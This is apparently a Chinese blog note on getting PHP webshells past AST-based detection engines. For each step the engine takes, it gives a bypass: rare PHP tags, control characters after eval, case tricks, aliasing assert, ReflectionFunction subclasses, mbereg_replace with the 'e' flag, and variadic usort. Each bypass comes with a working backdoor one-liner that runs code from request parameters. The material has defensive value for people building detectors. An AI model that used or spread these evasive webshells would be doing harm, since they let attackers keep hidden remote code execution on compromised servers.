绕过php webshell检测的一些思考方式
读完原文章确实很受启发,按照自己的思路记录下这篇笔记,以后有时间再进行扩展,因此该文章并不是原创内容。
Webshell 检测引擎对 php 回调型后门的检测步骤:
1. 在目标文件或内容中找到 PHP 代码
2. 将 PHP 代码解析成 AST Tree,并遍历
3. 分析 FuncCall Node,判断是否调用了含有"回调参数"的函数
4. 判断回调参数是否是一个变量
针对 第一步
:
在目标文件或内容中找到 PHP 代码
攻击原理:
检测引擎会根据 PHP 代码标签来界定 PHP 代码
攻击方法:
用不常见的标签就可能导致检测引擎识别不到 PHP 代码,导致被绕过
PHP 支持的四种标签如下:
<?php ?>
标签<? ?>
标签<% %>
标签 (默认不开启,PHP7 后被移除)<script language="php"> </script>
标签 (PHP7 后被移除)
针对 第二步
:
将 PHP 代码解析成 AST Tree,并遍历
攻击原理:
让检测引擎无法解析将 PHP 代码正常解析成 AST Tree
攻击方法:
在恶意函数和左边括号直接添加控制字符(\x00-\x20)
绕过一些具有语法解析的Webshell检测引擎示例:
<?php eval\x01\x02($_POST[2333]);
(其中, \x01\x02
需要转换成实际的不可见字符)
针对 第三步
:
判断是否调用了含有 "回调参数" 的函数
攻击原理:
检测引擎内置恶意函数名
黑名单,通过和黑名单比对函数名/类名是否相同,来确定某函数是否为恶意函数
攻击方法:
使被调用的恶意函数名/类名不在黑名单中:
- 函数名大小写变化
UsORt($_POST[1], $_POST[2]);
- 设置函数别名 (PHP >=5.6 增加函数名的命名空间)
<?php
use function \assert as test;
test($_POST[2333]);
- 继承恶意父类利用子类来调用类的恶意函数
<?php
class test extends ReflectionFunction {}
$f = new test($_POST['name']);
$f->invoke($_POST[2333]);
<?php
$f = new class($_POST['name']) extends ReflectionFunction {};
$f->invoke($_POST[2333]); # php 7.x
- 发现比黑名单更多的恶意函数 (增加除经验、文档以外
如:源码中隐藏
的发现渠道)
mbereg_replace('.*', '\0', $_REQUEST[2333], 'mer'); # PHP <= 7.2, mbereg_ireplace 也可以
针对 第四步
:
判断回调参数是否是一个变量
攻击原理:
攻击检测引擎判断回溯变量的方式
攻击方法:
PHP >=5.6,可传入变长数组作为函数变量,如:
usort(...$_GET);
评论